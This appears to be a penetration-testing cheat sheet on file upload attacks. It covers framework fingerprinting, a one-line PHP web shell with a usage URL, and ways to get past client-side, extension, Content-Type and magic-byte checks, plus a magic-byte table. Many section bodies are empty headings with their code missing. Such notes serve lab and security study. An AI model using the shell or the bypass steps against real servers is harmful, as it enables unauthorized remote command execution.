githubEdit

File Upload Attacks

Identify Web Framework

# Check for index page extensions
http://TARGET/index.php
http://TARGET/index.asp
http://TARGET/index.aspx
http://TARGET/index.jsp

# Use Wappalyzer browser extension
# Or fingerprint with curl
curl -I http://TARGET/

Web Shells

PHP

<?php system($_REQUEST['cmd']); ?>
# Usage
http://TARGET/uploads/shell.php?cmd=id

ASP

JSP

Location of Pre-made Shells


Reverse Shells

PHP (pentestmonkey)

Generate with msfvenom


Bypass Client-Side Validation

Burp Intercept Method

  1. Upload valid image, capture request in Burp

  2. Change filename="image.jpg" to filename="shell.php"

  3. Replace file content with web shell

  4. Forward request

Disable JavaScript

  1. Open DevTools (F12)

  2. Find validation function in source

  3. Delete onchange="checkFile(this)" from input element

  4. Upload shell directly


Bypass Extension Blacklist

Fuzz for Allowed Extensions

Burp Intruder Fuzzing

  1. Capture upload request

  2. Send to Intruder

  3. Mark extension as payload position

  4. Load PHP extension wordlist

  5. Check response length for successful uploads


Bypass Extension Whitelist

Double Extension

Reverse Double Extension

If Apache config has: <FilesMatch ".+\.ph(ar|p|tml)">

Character Injection

Generate Character Injection Wordlist (Bash)

Generate Bypass Wordlist (Python)

file_upload_wordlist_generator.pyarrow-up-right


Bypass Content-Type Filter

Change Content-Type Header

In Burp, change Content-Type: application/x-php to Content-Type: image/jpeg


Bypass MIME-Type (Magic Bytes)

Add Magic Bytes to Shell

Common Magic Bytes

File Type
Magic Bytes (Hex)
ASCII

GIF

47 49 46 38

GIF8

PNG

89 50 4E 47

.PNG

JPEG

FF D8 FF E0

N/A

PDF

25 50 44 46

%PDF

ZIP

50 4B 03 04

PK..


SVG Attacks

XSS via SVG

XXE via SVG (Read /etc/passwd)

XXE via SVG (Read Source Code)


XSS via Image Metadata


Filename Injection

Command Injection

XSS

SQLi


Windows-Specific Attacks

Reserved Characters

Reserved Names

8.3 Filename Convention


Discover Upload Directory

Fuzzing

Force Errors

  • Upload file with duplicate name

  • Upload file with very long name (5000+ chars)

  • Send two identical requests simultaneously


Upload Directory Traversal

Overwrite Files


Useful Wordlists

Last updated